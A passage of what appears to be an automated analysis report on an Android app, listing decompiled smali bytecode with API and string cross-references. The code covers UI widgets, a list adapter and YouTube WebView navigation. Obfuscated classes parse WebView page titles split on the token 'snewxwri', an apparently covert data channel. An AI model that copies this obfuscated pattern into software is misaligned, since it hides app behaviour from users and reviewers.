6iput-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->d:Landroid/support/design/widget/Snackbar$SnackbarLayout;
7sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
8const/16 v1, 0x13
9if-lt v0, v1, :cond_1b
11iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->d:Landroid/support/design/widget/Snackbar$SnackbarLayout;
12new-instance v1, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;
14invoke-direct {v1, p0, p1}, Ldevlight/io/library/behavior/NavigationTabBarBehavior$3;-><init>(Ldevlight/io/library/behavior/NavigationTabBarBehavior;Ldevlight/io/library/ntb/NavigationTabBar;)V
16invoke-virtual {v0, v1}, Landroid/support/design/widget/Snackbar$SnackbarLayout;->addOnLayoutChangeListener(Landroid/view/View$OnLayoutChangeListener;)V
17cond_1b: iget v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->f:I
18const/4 v1, -0x1
19if-ne v0, v1, :cond_26
21invoke-virtual {p2}, Landroid/view/View;->getHeight()I
22move-result v0
23iput v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->f:I
24cond_26:
25invoke-virtual {p1}, Ldevlight/io/library/ntb/NavigationTabBar;->getBarHeight()F
26move-result v0
28invoke-virtual {p1}, Ldevlight/io/library/ntb/NavigationTabBar;->getTranslationY()F
29move-result v1
30sub-float/2addr v0, v1
31float-to-int v1, v0
33invoke-virtual {p1}, Ldevlight/io/library/ntb/NavigationTabBar;->bringToFront()V
34sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
35const/16 v2, 0x15
36if-lt v0, v2, :cond_41
37const/4 v0, 0x0
39invoke-virtual {p2, v0}, Landroid/view/View;->setStateListAnimator(Landroid/animation/StateListAnimator;)V
  • Data flow analysis:
    • p0: 0
40const/4 v0, 0x0
42invoke-virtual {p2, v0}, Landroid/view/View;->setElevation(F)V
  • Data flow analysis:
    • p0: 0
43cond_41:
44invoke-virtual {p2}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
45move-result-object v0
46instance-of v0, v0, Landroid/view/ViewGroup$MarginLayoutParams;
47if-eqz v0, :cond_5b
49invoke-virtual {p2}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
50move-result-object v0
51check-cast v0, Landroid/view/ViewGroup$MarginLayoutParams;
52iget v2, v0, Landroid/view/ViewGroup$MarginLayoutParams;->leftMargin:I
53iget v3, v0, Landroid/view/ViewGroup$MarginLayoutParams;->topMargin:I
54iget v4, v0, Landroid/view/ViewGroup$MarginLayoutParams;->rightMargin:I
56invoke-virtual {v0, v2, v3, v4, v1}, Landroid/view/ViewGroup$MarginLayoutParams;->setMargins(IIII)V
58invoke-virtual {p2}, Landroid/view/View;->requestLayout()V
59cond_5b: return-void
Cross References
APIs
  • android.graphics.drawable.BitmapDrawable.getBitmap
  • android.graphics.Bitmap.createBitmap
  • android.graphics.Canvas.<init>
  • android.graphics.Canvas.getWidth
  • android.graphics.Canvas.getHeight
  • android.graphics.drawable.Drawable.setBounds
  • android.graphics.drawable.Drawable.draw
  • android.graphics.drawable.Drawable.getIntrinsicWidth
  • android.graphics.drawable.Drawable.getIntrinsicHeight
  • android.graphics.Bitmap.createBitmap
  • java.lang.Exception.printStackTrace
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
2if-nez p1, :cond_4
3goto_3: return-object v0
4cond_4: instance-of v1, p1, Landroid/graphics/drawable/BitmapDrawable;
5if-eqz v1, :cond_f
6check-cast p1, Landroid/graphics/drawable/BitmapDrawable;
8invoke-virtual {p1}, Landroid/graphics/drawable/BitmapDrawable;->getBitmap()Landroid/graphics/Bitmap;
9move-result-object v0
10goto/16 :goto_3
11cond_f: instance-of v1, p1, Landroid/graphics/drawable/ColorDrawable;
12if-eqz v1, :cond_32
13const/4 v1, 0x2
14const/4 v2, 0x2
16sget-object v3, Lcom/pedqaesf/app/views/INSCircularImageView;->b:Landroid/graphics/Bitmap$Config;
18invoke-static {v1, v2, v3}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
  • Data flow analysis:
    • width: 2
    • height: 2
19move-result-object v1
20goto_1b: new-instance v2, Landroid/graphics/Canvas;
22invoke-direct {v2, v1}, Landroid/graphics/Canvas;-><init>(Landroid/graphics/Bitmap;)V
23const/4 v3, 0x0
24const/4 v4, 0x0
26invoke-virtual {v2}, Landroid/graphics/Canvas;->getWidth()I
27move-result v5
29invoke-virtual {v2}, Landroid/graphics/Canvas;->getHeight()I
30move-result v6
32invoke-virtual {p1, v3, v4, v5, v6}, Landroid/graphics/drawable/Drawable;->setBounds(IIII)V
  • Data flow analysis:
    • left: 0
    • top: 0
34invoke-virtual {p1, v2}, Landroid/graphics/drawable/Drawable;->draw(Landroid/graphics/Canvas;)V
35move-object v0, v1
36goto/16 :goto_3
37cond_32:
38invoke-virtual {p1}, Landroid/graphics/drawable/Drawable;->getIntrinsicWidth()I
39move-result v1
41invoke-virtual {p1}, Landroid/graphics/drawable/Drawable;->getIntrinsicHeight()I
42move-result v2
44sget-object v3, Lcom/pedqaesf/app/views/INSCircularImageView;->b:Landroid/graphics/Bitmap$Config;
46invoke-static {v1, v2, v3}, Landroid/graphics/Bitmap;->createBitmap(IILandroid/graphics/Bitmap$Config;)Landroid/graphics/Bitmap;
47try_end_3f: move-result-object v1
48goto/16 :goto_1b
49catch_41: move-exception v1
51invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
52goto/16 :goto_3
APIs
  • android.webkit.WebView.loadUrl
Strings
  • https://m.youtube.com/
  • https://m.youtube.com/feed/trending
  • https://m.youtube.com/results?q=top%20playlist&sm=3
  • https://m.youtube.com/feed/account
Position Instruction Meta Information
0.prologue
1packed-switch p2, :pswitch_data_36
3iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$11;->a:Lcom/pedqaesf/app/INSMainActivity;
5iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
7const-string v1, "https://m.youtube.com/"
9invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/
10goto_c: return-void
11pswitch_d:
12iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$11;->a:Lcom/pedqaesf/app/INSMainActivity;
14iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
16const-string v1, "https://m.youtube.com/"
18invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/
19goto/16 :goto_c
20pswitch_17:
21iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$11;->a:Lcom/pedqaesf/app/INSMainActivity;
23iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
25const-string v1, "https://m.youtube.com/feed/trending"
27invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/feed/trending
28goto/16 :goto_c
29pswitch_21:
30iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$11;->a:Lcom/pedqaesf/app/INSMainActivity;
32iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
34const-string v1, "https://m.youtube.com/results?q=top%20playlist&sm=3"
36invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/results?q=top%20playlist&sm=3
37goto/16 :goto_c
38pswitch_2b:
39iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$11;->a:Lcom/pedqaesf/app/INSMainActivity;
41iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
43const-string v1, "https://m.youtube.com/feed/account"
45invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Data flow analysis:
    • url: https://m.youtube.com/feed/account
46goto/16 :goto_c
47nop
Cross References
APIs
  • com.pedqaesf.app.player.INSPlayerYouTubeView.getSystemService
  • android.app.ActivityManager.getRunningServices
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.Class.getName
  • android.content.ComponentName.getClassName
  • java.lang.String.equals
Strings
  • activity
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/lang/Class",
4"<",
5"Lcom/pedqaesf/app/player/INSYouTubePlayerService;",
6">;)Z"
7}
8.end annotation
9.prologue
11const-string v0, "activity"
13invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: activity
14move-result-object v0
15check-cast v0, Landroid/app/ActivityManager;
16const v1, 0x7fffffff
18invoke-virtual {v0, v1}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
  • Data flow analysis:
    • maxNum: 2147483647
19move-result-object v0
21invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
22move-result-object v1
23cond_13:
24invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
25move-result v0
26if-eqz v0, :cond_31
28invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
29move-result-object v0
30check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
32invoke-virtual {p1}, Ljava/lang/Class;->getName()Ljava/lang/String;
33move-result-object v2
35iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
37invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
38move-result-object v0
40invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
41move-result v0
42if-eqz v0, :cond_13
43const/4 v0, 0x1
44goto_30: return v0
45cond_31: const/4 v0, 0x0
46goto/16 :goto_30
Cross References
APIs
  • com.mikepenz.a.b.e
  • android.util.SparseIntArray.indexOfKey
  • java.util.List.size
  • com.mikepenz.a.b.g
  • com.mikepenz.a.b.a_
  • java.util.List.size
  • android.util.SparseIntArray.put
  • java.util.List.size
  • com.mikepenz.a.b.g
  • com.mikepenz.a.b.a_
Position Instruction Meta Information
0.prologue
1const/4 v4, 0x1
3invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
4move-result-object v0
5if-eqz v0, :cond_59
6instance-of v1, v0, Lcom/mikepenz/a/e;
7if-eqz v1, :cond_59
8check-cast v0, Lcom/mikepenz/a/e;
9iget-boolean v1, p0, Lcom/mikepenz/a/b;->k:Z
10if-eqz v1, :cond_5c
12iget-object v1, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
14invoke-virtual {v1, p1}, Landroid/util/SparseIntArray;->indexOfKey(I)I
15move-result v1
16if-gez v1, :cond_59
18invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
19move-result-object v1
20if-eqz v1, :cond_59
22invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
23move-result-object v1
25invoke-interface {v1}, Ljava/util/List;->size()I
26move-result v1
27if-lez v1, :cond_59
29invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->g(I)Lcom/mikepenz/a/c;
30move-result-object v1
31if-eqz v1, :cond_3e
32instance-of v2, v1, Lcom/mikepenz/a/h;
33if-eqz v2, :cond_3e
34check-cast v1, Lcom/mikepenz/a/h;
35add-int/lit8 v2, p1, 0x1
37invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
38move-result-object v3
40invoke-interface {v1, v2, v3}, Lcom/mikepenz/a/h;->a(ILjava/util/List;)Lcom/mikepenz/a/h;
41cond_3e:
42invoke-interface {v0, v4}, Lcom/mikepenz/a/e;->a(Z)Ljava/lang/Object;
43if-eqz p2, :cond_46
45invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->a_(I)V
46cond_46:
47iget-object v1, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
49invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
50move-result-object v2
51if-eqz v2, :cond_5a
53invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
54move-result-object v0
56invoke-interface {v0}, Ljava/util/List;->size()I
57move-result v0
58goto_56:
59invoke-virtual {v1, p1, v0}, Landroid/util/SparseIntArray;->put(II)V
60goto_59: return-void
61cond_5a: const/4 v0, 0x0
62goto/16 :goto_56
63cond_5c:
64invoke-interface {v0}, Lcom/mikepenz/a/e;->a()Z
65move-result v1
66if-nez v1, :cond_59
68invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
69move-result-object v1
70if-eqz v1, :cond_59
72invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
73move-result-object v1
75invoke-interface {v1}, Ljava/util/List;->size()I
76move-result v1
77if-lez v1, :cond_59
79invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->g(I)Lcom/mikepenz/a/c;
80move-result-object v1
81if-eqz v1, :cond_87
82instance-of v2, v1, Lcom/mikepenz/a/h;
83if-eqz v2, :cond_87
84check-cast v1, Lcom/mikepenz/a/h;
85add-int/lit8 v2, p1, 0x1
87invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
88move-result-object v3
90invoke-interface {v1, v2, v3}, Lcom/mikepenz/a/h;->a(ILjava/util/List;)Lcom/mikepenz/a/h;
91cond_87:
92invoke-interface {v0, v4}, Lcom/mikepenz/a/e;->a(Z)Ljava/lang/Object;
93if-eqz p2, :cond_59
95invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->a_(I)V
96goto/16 :goto_59
Cross References
APIs
  • android.graphics.Matrix.set
  • android.graphics.RectF.height
  • android.graphics.RectF.width
  • android.graphics.RectF.height
  • android.graphics.RectF.width
  • android.graphics.Matrix.setScale
  • android.graphics.Matrix.postTranslate
  • android.graphics.BitmapShader.setLocalMatrix
  • android.graphics.RectF.width
  • android.graphics.RectF.height
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
2const/high16 v4, 0x3f000000 # 0.5f
4iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->e:Landroid/graphics/Matrix;
5const/4 v2, 0x0
7invoke-virtual {v1, v2}, Landroid/graphics/Matrix;->set(Landroid/graphics/Matrix;)V
  • Data flow analysis:
    • p0: 0
8iget v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->n:I
9int-to-float v1, v1
11iget-object v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
13invoke-virtual {v2}, Landroid/graphics/RectF;->height()F
14move-result v2
15mul-float/2addr v1, v2
17iget-object v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
19invoke-virtual {v2}, Landroid/graphics/RectF;->width()F
20move-result v2
21iget v3, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->o:I
22int-to-float v3, v3
23mul-float/2addr v2, v3
24cmpl-float v1, v1, v2
25if-lez v1, :cond_5a
27iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
29invoke-virtual {v1}, Landroid/graphics/RectF;->height()F
30move-result v1
31iget v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->o:I
32int-to-float v2, v2
33div-float v2, v1, v2
35iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
37invoke-virtual {v1}, Landroid/graphics/RectF;->width()F
38move-result v1
39iget v3, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->n:I
40int-to-float v3, v3
41mul-float/2addr v3, v2
42sub-float/2addr v1, v3
43mul-float/2addr v1, v4
44goto_38:
45iget-object v3, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->e:Landroid/graphics/Matrix;
47invoke-virtual {v3, v2, v2}, Landroid/graphics/Matrix;->setScale(FF)V
49iget-object v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->e:Landroid/graphics/Matrix;
50add-float/2addr v1, v4
51float-to-int v1, v1
52int-to-float v1, v1
54iget-object v3, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
55iget v3, v3, Landroid/graphics/RectF;->left:F
56add-float/2addr v1, v3
57add-float/2addr v0, v4
58float-to-int v0, v0
59int-to-float v0, v0
61iget-object v3, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
62iget v3, v3, Landroid/graphics/RectF;->top:F
63add-float/2addr v0, v3
65invoke-virtual {v2, v1, v0}, Landroid/graphics/Matrix;->postTranslate(FF)Z
  • Data flow analysis:
    • p1: 0
67iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->m:Landroid/graphics/BitmapShader;
69iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->e:Landroid/graphics/Matrix;
71invoke-virtual {v0, v1}, Landroid/graphics/BitmapShader;->setLocalMatrix(Landroid/graphics/Matrix;)V
72return-void
73cond_5a:
74iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
76invoke-virtual {v1}, Landroid/graphics/RectF;->width()F
77move-result v1
78iget v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->n:I
79int-to-float v2, v2
80div-float v2, v1, v2
82iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
84invoke-virtual {v1}, Landroid/graphics/RectF;->height()F
85move-result v1
86iget v3, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->o:I
87int-to-float v3, v3
88mul-float/2addr v3, v2
89sub-float/2addr v1, v3
90mul-float/2addr v1, v4
91move v5, v1
92move v1, v0
93move v0, v5
94goto/16 :goto_38
Cross References
APIs
  • android.util.SparseIntArray.size
  • android.util.SparseIntArray.keyAt
  • java.util.ArrayList.<init>
  • com.mikepenz.a.b.a
  • com.mikepenz.a.b.e
  • java.lang.Integer.valueOf
  • java.util.ArrayList.add
  • java.util.ArrayList.size
  • java.util.ArrayList.get
  • java.lang.Integer.intValue
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x0
2iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
3if-eqz v0, :cond_1a
5iget-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
7invoke-virtual {v0}, Landroid/util/SparseIntArray;->size()I
8move-result v1
9new-array v0, v1, [I
10goto_d: if-ge v2, v1, :cond_5a
12iget-object v3, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
14invoke-virtual {v3, v2}, Landroid/util/SparseIntArray;->keyAt(I)I
  • Data flow analysis:
    • index: 0
15move-result v3
16aput v3, v0, v2
17add-int/lit8 v2, v2, 0x1
18goto/16 :goto_d
19cond_1a: new-instance v3, Ljava/util/ArrayList;
21invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
23invoke-virtual {p0}, Lcom/mikepenz/a/b;->a()I
24move-result v4
25move v1, v2
26goto_24: if-ge v1, v4, :cond_41
28invoke-virtual {p0, v1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
  • Data flow analysis:
    • p0: 0
29move-result-object v0
30instance-of v5, v0, Lcom/mikepenz/a/e;
31if-eqz v5, :cond_3d
32check-cast v0, Lcom/mikepenz/a/e;
34invoke-interface {v0}, Lcom/mikepenz/a/e;->a()Z
35move-result v0
36if-eqz v0, :cond_3d
38invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 0
39move-result-object v0
41invoke-virtual {v3, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
42cond_3d: add-int/lit8 v0, v1, 0x1
43move v1, v0
44goto/16 :goto_24
45cond_41:
46invoke-virtual {v3}, Ljava/util/ArrayList;->size()I
47move-result v4
48new-array v1, v4, [I
49goto_47: if-ge v2, v4, :cond_59
51invoke-virtual {v3, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
52move-result-object v0
53check-cast v0, Ljava/lang/Integer;
55invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
56move-result v0
57aput v0, v1, v2
58add-int/lit8 v0, v2, 0x1
59move v2, v0
60goto/16 :goto_47
61cond_59: move-object v0, v1
62cond_5a: return-object v0
Cross References
APIs
  • com.mikepenz.a.a.c.g
  • com.mikepenz.a.a.c$a.a
  • com.mikepenz.a.a.c.g
  • com.mikepenz.a.a.c$a.performFiltering
  • java.util.ArrayList.<init>
  • com.mikepenz.a.a.c.a
  • java.util.Collections.sort
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.j
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/List",
4"<TItem;>;)",
5"Lcom/mikepenz/a/a/c",
6"<TItem;>;"
7}
8.end annotation
9.prologue
10iget-boolean v0, p0, Lcom/mikepenz/a/a/c;->d:Z
11if-eqz v0, :cond_7
13invoke-static {p1}, Lcom/mikepenz/a/d/b;->a(Ljava/util/List;)Ljava/util/List;
14cond_7:
15invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->g()Landroid/widget/Filter;
16move-result-object v0
17instance-of v0, v0, Lcom/mikepenz/a/a/c$a;
18if-eqz v0, :cond_25
20invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->g()Landroid/widget/Filter;
21move-result-object v0
22check-cast v0, Lcom/mikepenz/a/a/c$a;
24invoke-virtual {v0}, Lcom/mikepenz/a/a/c$a;->a()Ljava/lang/CharSequence;
25move-result-object v0
26if-eqz v0, :cond_25
28invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->g()Landroid/widget/Filter;
29move-result-object v0
30check-cast v0, Lcom/mikepenz/a/a/c$a;
31const/4 v1, 0x0
33invoke-virtual {v0, v1}, Lcom/mikepenz/a/a/c$a;->performFiltering(Ljava/lang/CharSequence;)Landroid/widget/Filter$FilterResults;
  • Data flow analysis:
    • p0: 0
34cond_25: new-instance v0, Ljava/util/ArrayList;
36invoke-direct {v0, p1}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
37iput-object v0, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
39iget-object v0, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
41invoke-virtual {p0, v0}, Lcom/mikepenz/a/a/c;->a(Ljava/lang/Iterable;)V
43iget-object v0, p0, Lcom/mikepenz/a/a/c;->b:Ljava/util/Comparator;
44if-eqz v0, :cond_3c
46iget-object v0, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
48iget-object v1, p0, Lcom/mikepenz/a/a/c;->b:Ljava/util/Comparator;
50invoke-static {v0, v1}, Ljava/util/Collections;->sort(Ljava/util/List;Ljava/util/Comparator;)V
51cond_3c:
52invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
53move-result-object v0
55invoke-virtual {v0}, Lcom/mikepenz/a/b;->j()V
56return-object p0
APIs
  • android.webkit.WebView.getTitle
  • java.lang.String.contains
  • android.webkit.WebView.getTitle
  • java.lang.String.trim
  • java.lang.String.split
  • com.pedqaesf.app.AsyncTask.Vxrwzmvghcbb.a
Strings
  • snewxwri
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x1
2try_start_1:
3iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
4iget v0, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->f:I
5if-ne v0, v1, :cond_4e
7iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
9iget-object v0, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->d:Landroid/webkit/WebView;
11invoke-virtual {v0}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
12move-result-object v0
13if-eqz v0, :cond_4e
15iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
17iget-object v0, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->d:Landroid/webkit/WebView;
19invoke-virtual {v0}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
20move-result-object v0
22const-string v1, "snewxwri"
24invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: snewxwri
25move-result v0
26if-eqz v0, :cond_4e
28iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
30iget-object v0, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->d:Landroid/webkit/WebView;
32invoke-virtual {v0}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
33move-result-object v0
35invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
36move-result-object v0
38const-string v1, "snewxwri"
40invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: snewxwri
41move-result-object v0
43iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
44const/4 v2, 0x0
45aget-object v2, v0, v2
46iput-object v2, v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->b:Ljava/lang/String;
48iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
49const/4 v2, 0x1
50aget-object v0, v0, v2
51iput-object v0, v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->c:Ljava/lang/String;
53iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
55invoke-virtual {v0}, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->a()V
57iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
58iget v1, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->f:I
59add-int/lit8 v1, v1, 0x1
60iput v1, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->f:I
61goto_4e: return-void
62catch_4f: move-exception v0
63goto/16 :goto_4e
APIs
  • android.webkit.WebView.getTitle
  • java.lang.String.contains
  • android.webkit.WebView.getTitle
  • java.lang.String.trim
  • java.lang.String.split
  • com.pedqaesf.app.AsyncTask.Vpknteytxitm.a
Strings
  • snewxwri
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x1
2try_start_1:
3iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$1;->a:Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;
4iget v0, v0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->d:I
5if-ne v0, v1, :cond_49
7iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$1;->a:Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;
9iget-object v0, v0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->c:Landroid/webkit/WebView;
11invoke-virtual {v0}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
12move-result-object v0
13if-eqz v0, :cond_49
15iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$1;->a:Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;
17iget-object v0, v0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->c:Landroid/webkit/WebView;
19invoke-virtual {v0}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
20move-result-object v0
22const-string v1, "snewxwri"
24invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: snewxwri
25move-result v0
26if-eqz v0, :cond_49
28iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$1;->a:Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;
30iget-object v0, v0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->c:Landroid/webkit/WebView;
32invoke-virtual {v0}, Landroid/webkit/WebView;->getTitle()Ljava/lang/String;
33move-result-object v0
35invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
36move-result-object v0
38const-string v1, "snewxwri"
40invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
  • Data flow analysis:
    • p0: snewxwri
41move-result-object v0
43iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$1;->a:Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;
44const/4 v2, 0x0
45aget-object v2, v0, v2
46const/4 v3, 0x1
47aget-object v3, v0, v3
48const/4 v4, 0x2
49aget-object v0, v0, v4
